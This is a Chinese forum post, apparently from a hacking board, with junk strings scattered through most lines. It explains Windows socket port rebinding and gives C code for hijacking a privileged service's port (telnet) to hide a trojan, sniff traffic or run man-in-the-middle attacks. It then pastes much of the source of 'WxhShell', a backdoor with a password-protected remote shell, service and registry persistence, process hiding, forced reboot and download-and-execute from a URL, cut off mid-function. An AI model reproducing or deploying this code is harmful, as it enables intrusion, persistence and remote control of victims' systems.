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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #'D" 'B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C?v[Z]t  
ZYU=\  
  saddr.sin_family = AF_INET; nRL. ppUI  
6tHO!`}1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M5nWVK7c  
)c n+1R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (wIzat  
N'r3`8tS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F:@70(<w%  
[FA{x?v kf  
  这意味着什么?意味着可以进行如下的攻击: c\B|KhDk  
X[ q+619  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3vhnwDcK  
"k*PA\U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g VQjL+_W  
Nkxm m/Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0"2=n.##  
m(RXJORI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *n" /a{6>  
z%MW!x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r.3/F[.  
j 8*ZF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mMsTyM-f  
+zXEYc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w(kf  
pyLRgD0 g  
  #include kB?al#`  
  #include 5` Te \H  
  #include Bm&kkx.9P  
  #include    ~|<WHHN (  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \fA{1  
  int main() bM8If"  
  { mPI8_5V8]  
  WORD wVersionRequested; =mA: ctu~v  
  DWORD ret; }ci#>  
  WSADATA wsaData; 3"o"fl  
  BOOL val; s! n<}C  
  SOCKADDR_IN saddr; (WJ${OW  
  SOCKADDR_IN scaddr; ? A(QyaKz  
  int err; nKW*Y}VO  
  SOCKET s; x77l~=P+!  
  SOCKET sc; fP.F`V_Y  
  int caddsize; XGP6L0j  
  HANDLE mt; 'cY` w  
  DWORD tid;   Y3Vlp/"rB"  
  wVersionRequested = MAKEWORD( 2, 2 ); $)3%U?AP  
  err = WSAStartup( wVersionRequested, &wsaData ); #fT*]NN  
  if ( err != 0 ) { m[j70jYe  
  printf("error!WSAStartup failed!\n"); nX$XL=6mJ&  
  return -1; w"R:\@ F  
  } D8 hr?:I9  
  saddr.sin_family = AF_INET; 626Z5Afg  
   ^Z~;4il_F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;&1V0U,fx  
f B9;_z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KII *az  
  saddr.sin_port = htons(23); 6iCrRjY*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B6wRg8  
  { <n]x#0p  
  printf("error!socket failed!\n"); D9j3Xu  
  return -1; Q}-~O1  
  } dtpoU&?6s  
  val = TRUE; XC.%za8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @|Rrf*J?%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e{m2l2Tx:  
  {  -_`>j~  
  printf("error!setsockopt failed!\n"); ,o)d3g-&g  
  return -1; %-d]X{J:  
  } um9_ru~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T49zcJf;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g!-,]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4;2< ^[M  
o6V}$wT3J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9K9DF1SOa  
  { oWYmj=D~2z  
  ret=GetLastError(); a'z)  
  printf("error!bind failed!\n"); +nJUFc  
  return -1; lo[.&GD  
  } foQ#a  
  listen(s,2); )_U<7"~0l  
  while(1) >nzdnF_&zW  
  { ,yd?gP-O  
  caddsize = sizeof(scaddr); E9~Ghx.   
  //接受连接请求 33!oS&L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o7|eMe?<t  
  if(sc!=INVALID_SOCKET) ]xuG&O"SBV  
  {  trAkcYd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <:?r:fQX  
  if(mt==NULL) OF\rgz  
  { L'u\ w  
  printf("Thread Creat Failed!\n"); 2Lx3=k  
  break; aG^4BpIP  
  } iezO9`  
  } gG/!,Q.Qh  
  CloseHandle(mt); Yb E-6|cz  
  }  EW3(cQbK  
  closesocket(s); k1QpKn*  
  WSACleanup(); fl\ly `_  
  return 0; #-bA[eQV  
  }   `QXErw  
  DWORD WINAPI ClientThread(LPVOID lpParam) g1jTy7g?  
  { ~Q\3pI. |  
  SOCKET ss = (SOCKET)lpParam; 7D<#(CE{  
  SOCKET sc; ]MxC_V+P`  
  unsigned char buf[4096]; {7)st W  
  SOCKADDR_IN saddr; t^w"w`v\u  
  long num; ~$~5qwl  
  DWORD val; B'fb^n<  
  DWORD ret; ,lyb!k8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }`@728E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E2m8UBS  
  saddr.sin_family = AF_INET; h=:Q-?n-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VY3&  
  saddr.sin_port = htons(23); wu)w   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~J P=T  
  { 1R,:  
  printf("error!socket failed!\n"); hRCed4qA  
  return -1; zzyHoZJP  
  } rnF/H=I/  
  val = 100; p>upA)W]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d!$Z (W0  
  { 7k rUKYVo  
  ret = GetLastError(); _ ]Z s,Hy  
  return -1; q#s,- uu  
  } !TUrQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,gS;m &!'J  
  { m&?#;J|B$  
  ret = GetLastError(); +u3=dj"[  
  return -1; h-%R<[  
  } nX=$EQiH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f`[R7Q5  
  { BG<qIQd  
  printf("error!socket connect failed!\n");  Y*14v~\'  
  closesocket(sc); /K(o]J0F  
  closesocket(ss); THS.GvT9[  
  return -1; |cR;{Z8?_  
  } `b^Ru+(dM  
  while(1) CY"/uSB  
  { & 9<+;*/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w'm;82V:P-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /C6k+0ApMT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N|6M P e  
  num = recv(ss,buf,4096,0); 8@tPm$  
  if(num>0) ](s'L8 (x  
  send(sc,buf,num,0); 6*3.SGUY  
  else if(num==0) RS^lKJ1 U  
  break; L>3x9  
  num = recv(sc,buf,4096,0); hy`?E6=9+  
  if(num>0) gy_>`16K  
  send(ss,buf,num,0); x= 5N3[5  
  else if(num==0) lqm1!5dt  
  break; h]TQn)X]  
  } [DF,^4g  
  closesocket(ss); 7D;cw\ |  
  closesocket(sc); hUF5fZqii  
  return 0 ; ~FN9 [aJF+  
  } ,.7*Hpa  
lb3]$Da  
urjjw.wZ  
========================================================== 0`[wpZ  
 m5r7  
下边附上一个代码,,WXhSHELL lQe%Yh >rl  
sL\L"rQN6  
========================================================== lhBT@5Dm9  
pNKhc#-w  
#include "stdafx.h" #n#@fAY  
/|D*w^ >  
#include <stdio.h> Ym =FgM\  
#include <string.h> 3yB!M  
#include <windows.h> J%,*is EL  
#include <winsock2.h> |563D#?cR  
#include <winsvc.h> o*o/q],C9-  
#include <urlmon.h> GhIKvX_N  
SgS~ {4Zx*  
#pragma comment (lib, "Ws2_32.lib") Mw;sLsu  
#pragma comment (lib, "urlmon.lib") 2u5|8  
HlH64w2^R  
#define MAX_USER   100 // 最大客户端连接数 %*L:sTj(  
#define BUF_SOCK   200 // sock buffer G{6;>8h  
#define KEY_BUFF   255 // 输入 buffer K5xX)oV  
~1>.A(,=z  
#define REBOOT     0   // 重启 PEc=\?  
#define SHUTDOWN   1   // 关机 ZR(x%ews  
Yj6*NZ*  
#define DEF_PORT   5000 // 监听端口 njWL U!  
0Nnsjh  
#define REG_LEN     16   // 注册表键长度 1q,{0s_kp  
#define SVC_LEN     80   // NT服务名长度 23DiW#o'  
(aH'h1,G  
// 从dll定义API 9R7 A8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z}MP)|aH:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /,g,Ch<d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r(RKwr:m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6I4oi@hZz  
'2[albxSc  
// wxhshell配置信息  O4og?h>  
struct WSCFG { y9>ZwYN  
  int ws_port;         // 监听端口 ~2gG(1%At9  
  char ws_passstr[REG_LEN]; // 口令 %3ICI  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ~Hr}]  
  char ws_regname[REG_LEN]; // 注册表键名 ]hFW 73FV  
  char ws_svcname[REG_LEN]; // 服务名 }#&#^ B#?O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TztAZ2C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /(.mp<s0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sXD1C2o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E.Jkf\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NnT1X;0W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *1fb}C_  
% a@>_  
}; w%JTTru  
e,Uo#T6J  
// default Wxhshell configuration pUV/ Ul]  
struct WSCFG wscfg={DEF_PORT, K*X_FJ  
    "xuhuanlingzhe", P_Gw-`L5T  
    1, RT.D"WvT  
    "Wxhshell", -UOj>{-  
    "Wxhshell", d~JKH&x<  
            "WxhShell Service", i;_tI#:A  
    "Wrsky Windows CmdShell Service", MM x9(`t*.  
    "Please Input Your Password: ", PqiB\~o@Z  
  1, T^Ze3L]  
  "http://www.wrsky.com/wxhshell.exe", 9Ru8~R/\  
  "Wxhshell.exe" B4i!/@0s  
    }; g.zEn/SM  
3%%o?8ES  
// 消息定义模块 fR*q?,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &i$ldR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Stu4t==U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \uza=e  
char *msg_ws_ext="\n\rExit."; t3&LO~Ye  
char *msg_ws_end="\n\rQuit."; *fn*h[pV&  
char *msg_ws_boot="\n\rReboot..."; W8KDX_vGJ  
char *msg_ws_poff="\n\rShutdown..."; d ysC4DS  
char *msg_ws_down="\n\rSave to "; 'U\<IL#U  
&QGdLXOn  
char *msg_ws_err="\n\rErr!"; b"vv>Q~U  
char *msg_ws_ok="\n\rOK!"; V;:jZpG  
P8*=Ls+-F  
char ExeFile[MAX_PATH]; l%1!a  
int nUser = 0; aD=A^ktx  
HANDLE handles[MAX_USER]; SU/BQ3  
int OsIsNt; *rIk:FehLB  
;3B1_vo9  
SERVICE_STATUS       serviceStatus; NqDHCI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9.a3&*tV[  
#]ypHVE  
// 函数声明 :n.f_v}6  
int Install(void); >U]C/P[+  
int Uninstall(void); (3{YM(  
int DownloadFile(char *sURL, SOCKET wsh); to=y#$_  
int Boot(int flag); a *ushB  
void HideProc(void); {O7X`'[  
int GetOsVer(void); %\H|B0  
int Wxhshell(SOCKET wsl); `m!j$,c.  
void TalkWithClient(void *cs); _U |>b>  
int CmdShell(SOCKET sock); CkdP#}f  
int StartFromService(void); ^7 &5 z&o  
int StartWxhshell(LPSTR lpCmdLine); Ipq"E  
uFPF!Ern  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7 D^gMN%p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [`c^ 4 E  
zY"1drE>G  
// 数据结构和表定义 @M5#S7q";  
SERVICE_TABLE_ENTRY DispatchTable[] = 9+{G8$Ai  
{ JSTuXW  
{wscfg.ws_svcname, NTServiceMain}, O"c;|zCc>  
{NULL, NULL} y6[IfcN  
}; |>tKq;/  
YYu6W@m]  
// 自我安装 :qIXY/  
int Install(void) RkBb$q9F]  
{ 3P^sM1  
  char svExeFile[MAX_PATH]; 'F$l{iR  
  HKEY key; PEuIWXr  
  strcpy(svExeFile,ExeFile); 7,lq}a8z  
.[3Z1v,  
// 如果是win9x系统,修改注册表设为自启动 zY('t!u8  
if(!OsIsNt) { WqXbI4;pJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H=Y{rq@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :=\Hoz  
  RegCloseKey(key); E~gyy]8&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f,:9N5Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ire\i7MF:  
  RegCloseKey(key); Z3& _  
  return 0; w &(|e <  
    } f=mZu1(FZ  
  } 2|}+T6_q  
} qpE&go=k'  
else { 5Drq9B9;  
6T#+V37  
// 如果是NT以上系统,安装为系统服务 -Ty*aov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D~$r\ ]av  
if (schSCManager!=0) #R.-KUW:  
{ }#Qc \eud  
  SC_HANDLE schService = CreateService Y#lk6  
  ( 7U2J xE  
  schSCManager, Ooq! 0g  
  wscfg.ws_svcname,  s8rE$  
  wscfg.ws_svcdisp, s#tZg  
  SERVICE_ALL_ACCESS, 0iwZT&O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^k#P5oV  
  SERVICE_AUTO_START, _J? Dq  
  SERVICE_ERROR_NORMAL, T3pmVl  
  svExeFile, Ou1JIxZ)|  
  NULL, }0X:F`Y-  
  NULL, "0cID3A$  
  NULL, ek}a}.3 {  
  NULL, zOa_X~!@  
  NULL V*iH}Y?^p  
  ); nY`RR C  
  if (schService!=0) 2VJR$Pao  
  { %^>ju;i^O  
  CloseServiceHandle(schService); nw<&3k(g}  
  CloseServiceHandle(schSCManager); iCcB@GlA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }XSfst5-H  
  strcat(svExeFile,wscfg.ws_svcname); HAJ7m!P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8peDI7[|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \DD0s8  
  RegCloseKey(key); thvYL.U :  
  return 0; {'2@(^3  
    } o17ekML  
  } /gu%:vq  
  CloseServiceHandle(schSCManager); ykX/9y+-s  
} 2U:H545]]  
} p-/|mL  
Y5FbU  
return 1; qh2ON>e;  
} \u>"s   
:E@3Vl#U  
// 自我卸载 Bxfc}vC.  
int Uninstall(void) %ve:hym*  
{ :9_L6  
  HKEY key; |Clut~G  
f' aVV!  
if(!OsIsNt) { D*F4it.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D6G oa(!9d  
  RegDeleteValue(key,wscfg.ws_regname); Ffv`kn@  
  RegCloseKey(key); PUBWZ^63  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!N&OZ+R   
  RegDeleteValue(key,wscfg.ws_regname); 0 Emr<n  
  RegCloseKey(key); q"<acqK  
  return 0; (Xq)py9  
  } )Ib<F 7v  
} *i- _6s  
} r;Gi+Ca5  
else { L.1_(3NG  
]b%Hy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?$6Y2  
if (schSCManager!=0) q&/Yg,p\  
{ NNE<L;u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V %YiAr>  
  if (schService!=0) I S#FiH  
  { zOqn<Y@  
  if(DeleteService(schService)!=0) { !>e5z|1   
  CloseServiceHandle(schService); }c`fW&  
  CloseServiceHandle(schSCManager); # P?6@\  
  return 0; >9(hUH  
  } ~D5\O6mU-  
  CloseServiceHandle(schService); OQ>x5?um  
  } mysetv&5  
  CloseServiceHandle(schSCManager); K,bo VFs  
} |&[L?  
} 5c^Z/ Jl$c  
u a~CEs  
return 1; L.2/*H#  
} QzzW x2  
" 9^j.  
// 从指定url下载文件 )6Ny1x+  
int DownloadFile(char *sURL, SOCKET wsh) 00SbH$SU  
{ 1}:bqI.<W  
  HRESULT hr; _:-ha?W$;y  
char seps[]= "/"; Zuw?58RE\  
char *token; A Q+]|XYo_  
char *file; _-9@qe  
char myURL[MAX_PATH]; ?}RSwl  
char myFILE[MAX_PATH]; &*7?)eI!i  
DV\`Wv  
strcpy(myURL,sURL); @1 U&UH  
  token=strtok(myURL,seps); GA?87N  
  while(token!=NULL) H*Kj3NgY  
  { e=Z, Jg  
    file=token; Sz^5b!  
  token=strtok(NULL,seps); :w<V  
  } )YX 'N<[  
q*7zx_ o  
GetCurrentDirectory(MAX_PATH,myFILE); rSHpS`\ou  
strcat(myFILE, "\\"); (A?H1 9  
strcat(myFILE, file); |kvC H<F'  
  send(wsh,myFILE,strlen(myFILE),0); FFH_d <q  
send(wsh,"...",3,0); kIGbG;"_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9P~\Mpk  
  if(hr==S_OK) +H9>A0JF  
return 0; OnF3lCmu  
else IZ =Mlu  
return 1; HE'2"t[a  
{iv<w8CU)  
} l411a9o  
EvWzq%z l  
// 系统电源模块 5o6>T!  
int Boot(int flag) <HJl2p N  
{ "=+ 7-`  
  HANDLE hToken; gx&Tt  
  TOKEN_PRIVILEGES tkp; #%D_Y33;  
t: IN,Kl4  
  if(OsIsNt) { ??i,Vr@)w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q<KvBgmT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zj/!In  
    tkp.PrivilegeCount = 1; ~5 *5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3q'&j, ,^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1xbK'i:-S  
if(flag==REBOOT) { w7FW^6Zl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lK4M.QV ?\  
  return 0; t\ 7~S&z  
} Ty<L8+B|  
else { AN24Sf'`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K)-m*#H&uw  
  return 0; xw3YK!$sIF  
} 6X\ 2GC9  
  } =Apxdnz,  
  else { 66'?&Xx'  
if(flag==REBOOT) { x,otFp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~,BIf+ \XF  
  return 0; :sP!p`dl  
} 3Ezy %7  
else { jWY$5Vq<H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?APe R,"V  
  return 0; 13+<Q \  
} `"@g8PWe  
} Cf:#( D  
.%^]9/4  
return 1; ]miy/V }5  
} 2 OwV^-OG  
N @#c,,  
// win9x进程隐藏模块 EM/@T}  
void HideProc(void) Cz W:L&t  
{ G <uyin>  
GQl$yZaK{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +8#_59;x  
  if ( hKernel != NULL ) ;?6No(/  
  { r} P<iX   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +]|Z%;im  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Pg}Zz<  
    FreeLibrary(hKernel); n f.wCtf].  
  } 4<?8M vF  
PNA\ TXT  
return; \T\b NbPn  
} 2{Chu85   
ynB_"mg  
// 获取操作系统版本 z)xSN;x  
int GetOsVer(void) =e}H'5?!  
{ "n: %E  
  OSVERSIONINFO winfo; RKa}$ 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZWm8*}3]7_  
  GetVersionEx(&winfo); 4WN3=B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dTL5-@  
  return 1; zOSs[[  
  else rC7``#5  
  return 0; 2<][%> '  
} (s1k$@d  
Z{ u a=0  
// 客户端句柄模块 $F/EJ>  
int Wxhshell(SOCKET wsl) [tH-D$V  
{ A 5+rd{k/  
  SOCKET wsh; JGFt0He]  
  struct sockaddr_in client; *5wu   
  DWORD myID; uu/+.9  
d @*GUmJ  
  while(nUser<MAX_USER) [F*4EGB  
{ [ G e=kFB  
  int nSize=sizeof(client); -PnyZ2'Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wfz\ `y  
  if(wsh==INVALID_SOCKET) return 1; gxT4PQDy  
{w8 NN-n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U^.4Hy&D  
if(handles[nUser]==0) )OLq_':^ @  
  closesocket(wsh); TP}h~8 /;  
else R.s^o]vT  
  nUser++; +hRmO  
  } yCXrVN:`,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O$g_@B0E1  
ZKz,|+X0G  
  return 0; Cv*x2KF G  
} 2iU7 0(H  
VN 'Wq7>6  
// 关闭 socket Y9=(zOqv  
void CloseIt(SOCKET wsh) 6MG9a>=  
{ {0@& OO:w  
closesocket(wsh); +@Ad1fJi  
nUser--; Pa^A$fy\  
ExitThread(0); mC z,2K|^~  
} ph}j[Co  
8$c bVMjh  
// 客户端请求句柄 kwud?2E  
void TalkWithClient(void *cs)  /q@ s  
{ G|m1.=DJm  
{i*2R^5  
  SOCKET wsh=(SOCKET)cs; KZbR3mi,  
  char pwd[SVC_LEN]; 3loY qeP  
  char cmd[KEY_BUFF]; ?,=f\Fz!  
char chr[1]; ycJg%]F*5  
int i,j; tj*y)28-  
/?6gdN  
  while (nUser < MAX_USER) { M0' a9.d  
G\;}w  
if(wscfg.ws_passstr) { QI!F6pGF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r{sebE\ ;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +"ueq  
  //ZeroMemory(pwd,KEY_BUFF); cM&2SRBZ  
      i=0; Q*YYTmZ  
  while(i<SVC_LEN) { @f!AkzI  
^#):c`  
  // 设置超时 vMs;>lhtg  
  fd_set FdRead; ,WQ^tI=O  
  struct timeval TimeOut; =l9T7az  
  FD_ZERO(&FdRead); &W6^6=E{g  
  FD_SET(wsh,&FdRead); 7$k8%lI;>  
  TimeOut.tv_sec=8; Pz_NDI  
  TimeOut.tv_usec=0; tQ~WEC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \]Dt4o*yZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I<=Df5M  
&48_2Q"{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7dX/bzUVz8  
  pwd=chr[0]; (9gO tJ  
  if(chr[0]==0xd || chr[0]==0xa) { oA tsUF+a  
  pwd=0; b}G24{  
  break; 3I|3wQ&#(  
  } }sxn72,  
  i++; {C^@Q"I  
    } FZH\Q~IUV  
Bd3~EbFL  
  // 如果是非法用户,关闭 socket xAwf49N~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nW+YOX|+  
} up%Z$"Y  
^# A.@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~/IexQB&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m~],nl  
n^hocGH*  
while(1) { quo^fqS&a  
6`$[Ini  
  ZeroMemory(cmd,KEY_BUFF); *]x*B@RF  
E4D (,s  
      // 自动支持客户端 telnet标准   DP7C?}(  
  j=0; 3P <'F2o  
  while(j<KEY_BUFF) { [ B0K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BwJuYH7QJ$  
  cmd[j]=chr[0]; np WEop>  
  if(chr[0]==0xa || chr[0]==0xd) { S^f:`9ab9  
  cmd[j]=0; df=z F.5  
  break; @("}]/O V:  
  } R: aYL~  
  j++; ^+R:MBK  
    } 2N~ E' 25  
z}.D" P+  
  // 下载文件 n+D#k 8{  
  if(strstr(cmd,"http://")) { qUf)j\7"Fn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |*,jU;NI  
  if(DownloadFile(cmd,wsh)) (_9|w|(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!ac7i\F  
  else f]d!hz!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {*/dD`  
  } )9P&=  
  else { ~ H[%vdR  
,vG<*|pn  
    switch(cmd[0]) { :+ ,st&(E  
  d<@Mdo<;?g  
  // 帮助 =V|Nn0E  
  case '?': { .}9FEn 8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nd+?O7~}(  
    break; *+8%kn`c  
  } i~&c|  
  // 安装 \~X&o% y  
  case 'i': { -{9Gagy2&  
    if(Install()) |,}E0G.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .yVnw^gu  
    else 2W3W/> 2 h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dALK0U  
    break; 4VIg>EL*  
    } b Dg9P^<n  
  // 卸载 G^Xd-7 GQ  
  case 'r': { P Tnac  
    if(Uninstall()) +zRh fIJHH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:|-#F*k{  
    else ]@SU4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]0D9N"  
    break; u fw cF*  
    } W3LP ~  
  // 显示 wxhshell 所在路径 D{AFL.r{  
  case 'p': { 4YJ=q% G  
    char svExeFile[MAX_PATH]; jNy?[ )  
    strcpy(svExeFile,"\n\r"); /#yA%0=w  
      strcat(svExeFile,ExeFile); DzPs!(5[I  
        send(wsh,svExeFile,strlen(svExeFile),0); A/Khk2-:  
    break; WF/l7u#4i  
    } kUHie   
  // 重启 C(,=[Fi-  
  case 'b': { jX|=n.#q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q#WE|,a  
    if(Boot(REBOOT)) Sl.o,W^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6.Bh3p  
    else { @8"18HEp#  
    closesocket(wsh); a{`"68  
    ExitThread(0); s#lto0b"8  
    } F14(;'Az  
    break; )!C7bTv 4  
    } <*Y O~S(R  
  // 关机 O|UxFnB}  
  case 'd': { 8U^D(jrz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IT1P Pm  
